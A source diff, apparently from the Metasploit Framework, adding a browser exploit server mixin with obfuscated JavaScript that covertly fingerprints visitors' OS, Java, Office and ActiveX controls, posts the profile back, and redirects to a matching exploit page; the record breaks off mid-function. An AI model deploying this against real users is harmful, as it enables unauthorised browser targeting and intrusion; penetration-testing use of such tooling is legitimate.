diff --git a/data/js/detect/addons.js b/data/js/detect/ie_addons.js
similarity index 50%
rename from data/js/detect/addons.js
rename to data/js/detect/ie_addons.js
index 277c1fd469..d612bd7c78 100644
--- a/data/js/detect/addons.js
+++ b/data/js/detect/ie_addons.js
@@ -1,9 +1,47 @@
-window.addons_detect = { };
+window.ie_addons_detect = { };
+
+/**
+ * Returns true if this ActiveX is available, otherwise false.
+ * Grabbed this directly from browser_autopwn.rb
+ **/
+window.ie_addons_detect.hasActiveX = function (axo_name, method) {
+ var axobj = null;
+ if (axo_name.substring(0,1) == String.fromCharCode(123)) {
+ axobj = document.createElement("object");
+ axobj.setAttribute("classid", "clsid:" + axo_name);
+ axobj.setAttribute("id", axo_name);
+ axobj.setAttribute("style", "visibility: hidden");
+ axobj.setAttribute("width", "0px");
+ axobj.setAttribute("height", "0px");
+ document.body.appendChild(axobj);
+ if (typeof(axobj[method]) == 'undefined') {
+ var attributes = 'id="' + axo_name + '"';
+ attributes += ' classid="clsid:' + axo_name + '"';
+ attributes += ' style="visibility: hidden"';
+ attributes += ' width="0px" height="0px"';
+ document.body.innerHTML += "";
+ axobj = document.getElementById(axo_name);
+ }
+ } else {
+ try {
+ axobj = new ActiveXObject(axo_name);
+ } catch(e) {
+ // If we can't build it with an object tag and we can't build it
+ // with ActiveXObject, it can't be built.
+ return false;
+ };
+ }
+ if (typeof(axobj[method]) != 'undefined') {
+ return true;
+ }
+
+ return false;
+};
/**
* Returns the version of Microsoft Office. If not found, returns null.
**/
-window.addons_detect.getMsOfficeVersion = function () {
+window.ie_addons_detect.getMsOfficeVersion = function () {
var version;
var types = new Array();
for (var i=1; i <= 5; i++) {
diff --git a/data/js/detect/misc_addons.js b/data/js/detect/misc_addons.js
new file mode 100644
index 0000000000..434a145791
--- /dev/null
+++ b/data/js/detect/misc_addons.js
@@ -0,0 +1,64 @@
+window.misc_addons_detect = { };
+
+/**
+ * Returns the Java version
+ **/
+window.misc_addons_detect.getJavaVersion = function () {
+ var foundVersion = null;
+
+ //
+ // This finds the Java version from Java WebStart's ActiveX control
+ // This is specific to Windows
+ //
+ for (var i1=0; i1 < 10; i1++) {
+ for (var i2=0; i2 < 10; i2++) {
+ for (var i3=0; i3 < 10; i3++) {
+ for (var i4=0; i4 < 10; i4++) {
+ var version = String(i1) + "." + String(i2) + "." + String(i3) + "." + String(i4);
+ var progId = "JavaWebStart.isInstalled." + version;
+ try {
+ new ActiveXObject(progId);
+ return version;
+ }
+ catch (e) {
+ continue;
+ }
+ }}}}
+
+ //
+ // This finds the Java version from window.navigator.mimeTypes
+ // This seems to work pretty well for most browsers except for IE
+ //
+ if (foundVersion == null) {
+ var mimes = window.navigator.mimeTypes;
+ for (var i=0; i foundVersion) {
+ foundVersion = version;
+ }
+ }
+ }
+ }
+
+ //
+ // This finds the Java version from navigator plugins
+ // This is necessary for Windows + Firefox setup, but the check isn't as good as the mime one.
+ // So we do this last.
+ //
+ if (foundVersion == null) {
+ var foundJavaString = "";
+ var pluginsCount = navigator.plugins.length;
+ for (i=0; i < pluginsCount; i++) {
+ var pluginName = navigator.plugins[i].name;
+ var pluginVersion = navigator.plugins[i].version;
+ if (/Java/.test(pluginName) && pluginVersion != undefined) {
+ foundVersion = navigator.plugins[i].version;
+ break;
+ }
+ }
+ }
+
+ return foundVersion;
+}
\ No newline at end of file
diff --git a/data/js/detect/os.js b/data/js/detect/os.js
index 1fdd2deb1f..dccf97d0a7 100644
--- a/data/js/detect/os.js
+++ b/data/js/detect/os.js
@@ -867,6 +867,12 @@ window.os_detect.getVersion = function(){
os_flavor = "7";
os_sp = "SP1";
break;
+ case "10016720":
+ // IE 10.0.9200.16721 / Windows 7 SP1
+ ua_version = "10.0";
+ os_flavor = "7";
+ os_sp = "SP1";
+ break;
case "1000":
// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
ua_version = "10.0";
diff --git a/data/js/network/ajax_download.js b/data/js/network/ajax_download.js
index 560d3d22ae..789e58e4a8 100644
--- a/data/js/network/ajax_download.js
+++ b/data/js/network/ajax_download.js
@@ -1,25 +1,16 @@
function ajax_download(oArg) {
- var method = oArg.method;
- var path = oArg.path;
- var data = oArg.data;
+ if (!oArg.method) { oArg.method = "GET"; }
+ if (!oArg.path) { throw "Missing parameter 'path'"; }
+ if (!oArg.data) { oArg.data = null; }
- if (method == undefined) { method = "GET"; }
- if (method == path) { throw "Missing parameter 'path'"; }
- if (data == undefined) { data = null; }
-
- if (window.XMLHttpRequest) {
- xmlHttp = new XMLHttpRequest();
- }
- else {
- xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
- }
+ var xmlHttp = new XMLHttpRequest();
if (xmlHttp.overrideMimeType) {
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
}
- xmlHttp.open(method, path, false);
- xmlHttp.send(data);
+ xmlHttp.open(oArg.method, oArg.path, false);
+ xmlHttp.send(oArg.data);
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
return xmlHttp.responseText;
}
diff --git a/data/js/network/ajax_post.js b/data/js/network/ajax_post.js
new file mode 100644
index 0000000000..4e6729acfa
--- /dev/null
+++ b/data/js/network/ajax_post.js
@@ -0,0 +1,10 @@
+function postInfo(path, data) {
+ var xmlHttp = new XMLHttpRequest();
+
+ if (xmlHttp.overrideMimeType) {
+ xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
+ }
+
+ xmlHttp.open('POST', path, false);
+ xmlHttp.send(data);
+}
\ No newline at end of file
diff --git a/data/js/network/xhr_shim.js b/data/js/network/xhr_shim.js
new file mode 100644
index 0000000000..0cbdec39ef
--- /dev/null
+++ b/data/js/network/xhr_shim.js
@@ -0,0 +1,15 @@
+if (!window.XMLHTTPRequest) {
+ (function() {
+ var idx, activeObjs = ["Microsoft.XMLHTTP", "Msxml2.XMLHTTP", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0"];
+ for (idx = 0; idx < activeObjs.length; idx++) {
+ try {
+ new ActiveXObject(activeObjs[idx]);
+ window.XMLHttpRequest = function() {
+ return new ActiveXObject(activeObjs[idx]);
+ };
+ break;
+ }
+ catch (e) {}
+ }
+ })();
+}
diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb
index 6de74d0f4c..c3eb47b22b 100644
--- a/lib/msf/core/exploit/http/server.rb
+++ b/lib/msf/core/exploit/http/server.rb
@@ -681,14 +681,6 @@ protected
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
], Exploit::Remote::HttpServer::HTML)
-
- # Cache Javascript
- @cache_base64 = nil
- @cache_ajax_download = nil
- @cache_mstime_malloc = nil
- @cache_property_spray = nil
- @cache_heap_spray = nil
- @cache_os_detect = nil
end
#
@@ -747,6 +739,14 @@ protected
end
+ #
+ # Transfers data using a POST request
+ #
+ def js_ajax_post
+ @cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post
+ end
+
+
#
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
# suitable for a no-spray technique. There should be an allocation that contains an array of
@@ -816,6 +816,14 @@ protected
@cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
end
+ def js_ie_addons_detect
+ @cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons
+ end
+
+ def js_misc_addons_detect
+ @cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons
+ end
+
# Transmits a html response to the supplied client
#
# HTML evasions are implemented here.
diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb
index b1dd01add0..1da0a5a5a1 100644
--- a/lib/msf/core/exploit/mixins.rb
+++ b/lib/msf/core/exploit/mixins.rb
@@ -97,3 +97,5 @@ require 'msf/core/exploit/winrm'
# WebApp
require 'msf/core/exploit/web'
+
+require 'msf/core/exploit/remote/browser_exploit_server'
diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb
new file mode 100644
index 0000000000..cd038438d6
--- /dev/null
+++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb
@@ -0,0 +1,503 @@
+# -*- coding: binary -*-
+
+require 'erb'
+require 'rex/exploitation/js'
+
+###
+#
+# The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser
+# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
+#
+###
+
+module Msf
+ module Exploit::Remote::BrowserExploitServer
+
+ include Msf::Exploit::Remote::HttpServer::HTML
+ include Msf::Exploit::RopDb
+
+ PROXY_REQUEST_HEADER_SET = Set.new(
+ %w{
+ CLIENT_IP
+ FORWARDED
+ FORWARDED_FOR
+ FORWARDED_FOR_IP
+ HTTP_CLIENT_IP
+ HTTP_FORWARDED
+ HTTP_FORWARDED_FOR
+ HTTP_FORWARDED_FOR_IP
+ HTTP_PROXY_CONNECTION
+ HTTP_VIA
+ HTTP_X_FORWARDED
+ HTTP_X_FORWARDED_FOR
+ VIA
+ X_FORWARDED
+ X_FORWARDED_FOR
+ })
+
+ # Requirements a browser module can define in either BrowserRequirements or in targets
+ REQUIREMENT_KEY_SET = {
+ :source => 'source', # Either 'script' or 'headers'
+ :ua_name => 'ua_name', # Example: MSIE
+ :ua_ver => 'ua_ver', # Example: 8.0, 9.0
+ :os_name => 'os_name', # Example: Microsoft Windows
+ :os_flavor => 'os_flavor', # Example: XP, 7
+ :language => 'language', # Example: en-us
+ :arch => 'arch', # Example: x86
+ :proxy => 'proxy', # 'true' or 'false'
+ :office => 'office', # Example: "2007", "2010"
+ :java => 'java', # Example: 1.6, 1.6.0.0
+ :clsid => 'clsid', # ActiveX clsid. Also requires the :method key
+ :method => 'method' # ActiveX method. Also requires the :clsid key
+ }
+
+ def initialize(info={})
+ super
+
+ # The mixin keeps 'target' so module doesn't lose it.
+ @target = target
+
+ # See get_profile's documentation to understand what @target_profiles stores
+ @target_profiles = {}
+
+ # Requirements are conditions that the browser must have in order to be exploited.
+ @requirements = extract_requirements(self.module_info['BrowserRequirements'] || {})
+
+ @info_receiver_page = rand_text_alpha(5)
+ @exploit_receiver_page = rand_text_alpha(6)
+ @noscript_receiver_page = rand_text_alpha(7)
+
+ register_options(
+ [
+ OptBool.new('Retries', [false, "Allow the browser to retry the module", true])
+ ], Exploit::Remote::BrowserExploitServer)
+ end
+
+ #
+ # Syncs a block of code
+ #
+ # @param block [Proc] Block of code to sync
+ #
+ def sync(&block)
+ (@mutex ||= Mutex.new).synchronize(&block)
+ end
+
+ #
+ # Returns the resource (URI) to the module to allow access to on_request_exploit
+ #
+ # @return [String] URI to the exploit page
+ #
+ def get_module_resource
+ "#{get_resource.chomp("/")}/#{@exploit_receiver_page}"
+ end
+
+ #
+ # Returns the current target
+ #
+ def get_target
+ @target
+ end
+
+ #
+ # Returns a hash of recognizable requirements
+ #
+ # @param reqs [Hash] A hash that contains data for the requirements
+ # @return [Hash] A hash of requirements
+ #
+ def extract_requirements(reqs)
+ tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.has_key?(k.to_sym)}
+ # Make sure keys are always symbols
+ Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
+ end
+
+ #
+ # Sets the target automatically based on what requirements are met.
+ # If there's a possible matching target, it will also merge the requirements.
+ # You can use the get_target() method to retrieve the most current target.
+ #
+ # @param profile [Hash] The profile to check
+ #
+ def try_set_target(profile)
+ match_counts = []
+ target_requirements = {}
+
+ targets.each do |t|
+ target_requirements = extract_requirements(t.opts)
+ if target_requirements.blank?
+ match_counts << 0
+ else
+ match_counts << target_requirements.select { |k,v|
+ if v.class == Regexp
+ profile[k] =~ v
+ else
+ profile[k] == v
+ end
+ }.length
+ end
+ end
+
+ if match_counts.max.to_i > 0
+ @target = targets[match_counts.index(match_counts.max)]
+ target_requirements = extract_requirements(@target.opts)
+ unless target_requirements.blank?
+ @requirements = @requirements.merge(target_requirements)
+ end
+ end
+ end
+
+ #
+ # Returns an array of items that do not meet the requirements
+ #
+ # @param profile [Hash] The profile to check
+ # @return [Array] An array of requirements not met
+ #
+ def get_bad_requirements(profile)
+ bad_reqs = []
+
+ # At this point the check is already done.
+ # If :activex is true, that means the clsid + method had a match,
+ # if not, then false.
+ if @requirements[:clsid] and @requirements[:method]
+ @requirements[:activex] = 'true' # Script passes boolean as string
+ end
+
+ @requirements.each do |k, v|
+ # Special keys to ignore because the script registers this as [:activex] = true or false
+ next if k == :clsid or k == :method
+
+ if v.class == Regexp
+ bad_reqs << k if profile[k.to_sym] !~ v
+ else
+ bad_reqs << k if profile[k.to_sym] != v
+ end
+ end
+
+ bad_reqs
+ end
+
+ #
+ # Returns the target profile based on the tag. Each profile has the following structure:
+ # 'cookie' =>
+ # {
+ # :os_name => 'Windows',
+ # :os_flavor => 'something'
+ # ...... etc ......
+ # }
+ # A profile should at least have info about the following:
+ # :source : The data source. Either from 'script', or 'headers'. The 'script' source
+ # should be more accurate in some scenarios like browser compatibility mode
+ # :ua_name : The name of the browser
+ # :ua_ver : The version of the browser
+ # :os_name : The name of the OS
+ # :os_flavor : The flavor of the OS (example: XP)
+ # :language : The system's language
+ # :arch : The system's arch
+ # :proxy : Indicates whether proxy is used
+ #
+ # For more info about what the actual value might be for each key, see HttpServer.
+ #
+ # If the source is 'script', the profile might have even more information about plugins:
+ # 'office' : The version of Microsoft Office (IE only)
+ # 'activex' : Whether a specific method is available from an ActiveX control (IE only)
+ # 'java' : The Java version
+ #
+ # @param tag [String] Either a cookie or IP + User-Agent
+ # @return [Hash] The profile found. If not found, returns nil
+ #
+ def get_profile(tag)
+ sync do
+ return @target_profiles[tag]
+ end
+ end
+
+ #
+ # Updates information for a specific profile
+ #
+ # @param target_profile [Hash] The profile to update
+ # @param key [Symbol] The symbol to use for the hash
+ # @param value [String] The value to assign
+ #
+ def update_profile(target_profile, key, value)
+ sync do
+ target_profile[key] = value
+ end
+ end
+
+ #
+ # Initializes a profile
+ #
+ # @param tag [String] A unique string as a way to ID the profile
+ #
+ def init_profile(tag)
+ sync do
+ @target_profiles[tag] = {}
+ end
+ end
+
+ #
+ # Retrieves a tag.
+ # First it obtains the tag from the browser's "Cookie" header.
+ # If the header is empty (possible if the browser has cookies disabled),
+ # then it will return a tag based on IP + the user-agent.
+ #
+ # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
+ #
+ def retrieve_tag(request)
+ tag = request.headers['Cookie'].to_s
+
+ if tag.blank?
+ # Browser probably doesn't allow cookies, plan B :-/
+ ip = cli.peerhost
+ os = request.headers['User-Agent']
+ tag = Rex::Text.md5("#{ip}#{os}")
+ end
+
+ tag
+ end
+
+ #
+ # Registers target information to @target_profiles
+ #
+ # @param source [Symbol] Either :script, or :headers
+ # @param cli [Socket] Socket for the browser
+ # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
+ #
+ def process_browser_info(source, cli, request)
+ tag = retrieve_tag(request)
+
+ # Browser doesn't allow cookies. Can't track that, use a different way to track.
+ init_profile(tag) if request.headers['Cookie'].blank?
+ target_info = get_profile(tag)
+
+ # Gathering target info from the detection stage
+ case source
+ when :script
+ # Gathers target data from a POST request
+ update_profile(target_info, :source, 'script')
+ raw = Rex::Text.uri_decode(Rex::Text.decode_base64(request.body))
+ raw.split('&').each do |item|
+ k, v = item.scan(/(\w+)=(.*)/).flatten
+ update_profile(target_info, k.to_sym, v)
+ end
+
+ when :headers
+ # Gathers target data from headers
+ # This may be less accurate, and most likely less info.
+ fp = fingerprint_user_agent(request.headers['User-Agent'])
+ # Module has all the info it needs, ua_string is kind of pointless.
+ # Kill this to save space.
+ fp.delete(:ua_string)
+ update_profile(target_info, :source, 'headers')
+ fp.each do |k, v|
+ update_profile(target_info, k.to_sym, v)
+ end
+ end
+
+ # Other detections
+ update_profile(target_info, :proxy, has_proxy?(request))
+ update_profile(target_info, :language, request.headers['Accept-Language'] || '')
+
+ report_client({
+ :host => cli.peerhost,
+ :ua_string => request.headers['User-Agent'],
+ :ua_name => target_info[:ua_name],
+ :ua_ver => target_info[:ua_ver]
+ })
+ end
+
+ #
+ # Checks if the target is running a proxy
+ #
+ # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
+ # @return [Boolean] True if found, otherwise false
+ #
+ def has_proxy?(request)
+ proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
+ !proxy_header_set.empty?
+ end
+
+ #
+ # Returns the code for client-side detection
+ #
+ # @param user_agent [String] The user-agent of the browser
+ # @return [String] Returns the HTML for detection
+ #
+ def get_detection_html(user_agent)
+ ua_info = fingerprint_user_agent(user_agent)
+ os = ua_info[:os_name]
+ client = ua_info[:ua_name]
+
+ code = ERB.new(%Q|
+ <%= js_base64 %>
+ <%= js_os_detect %>
+ <%= js_ajax_post %>
+ <%= js_misc_addons_detect %>
+ <%= js_ie_addons_detect if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
+
+ function objToQuery(obj) {
+ var q = [];
+ for (var key in obj) {
+ q.push(encodeURIComponent(key) + '=' + encodeURIComponent(obj[key]));
+ }
+ return Base64.encode(q.join('&'));
+ }
+
+ window.onload = function() {
+ var osInfo = window.os_detect.getVersion();
+ var d = {
+ "<%=REQUIREMENT_KEY_SET[:os_name]%>" : osInfo.os_name,
+ "<%=REQUIREMENT_KEY_SET[:os_flavor]%>" : osInfo.os_flavor,
+ "<%=REQUIREMENT_KEY_SET[:ua_name]%>" : osInfo.ua_name,
+ "<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version,
+ "<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch,
+ "<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion()
+ };
+
+ <% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
+ d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion();
+ <%
+ clsid = @requirements[:clsid]
+ method = @requirements[:method]
+ if clsid and method
+ %>
+ d['activex'] = window.ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
+ <% end %>
+ <% end %>
+
+ var query = objToQuery(d);
+ postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query);
+ window.location = "<%=get_resource.chomp("/")%>/<%=@exploit_receiver_page%>/";
+ }
+ |).result(binding())
+
+ js = ::Rex::Exploitation::JSObfu.new code
+ js.obfuscate
+
+ %Q|
+
+
+ |
+ end
+
+ #
+ # Handles exploit stages.
+ #
+ # @param cli [Socket] Socket for the browser
+ # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
+ #
+ def on_request_uri(cli, request)
+ case request.uri
+ when get_resource.chomp("/")
+ #
+ # This is the information gathering stage
+ #
+ if get_profile(retrieve_tag(request))
+ send_redirect(cli, "#{get_resource.chomp("/")}/#{@exploit_receiver_page}")
+ return
+ end
+
+ print_status("Gathering target information.")
+ tag = Rex::Text.rand_text_alpha(rand(20) + 5)
+ ua = request.headers['User-Agent']
+ init_profile(tag)
+ html = get_detection_html(ua)
+ send_response(cli, html, {'Set-Cookie' => tag})
+
+ when /#{@info_receiver_page}/
+ #
+ # The detection code will hit this if Javascript is enabled
+ #
+ process_browser_info(source=:script, cli, request)
+ send_response(cli, '')
+
+ when /#{@noscript_receiver_page}/
+ #
+ # The detection code will hit this instead of Javascript is disabled
+ # Should only be triggered by the img src in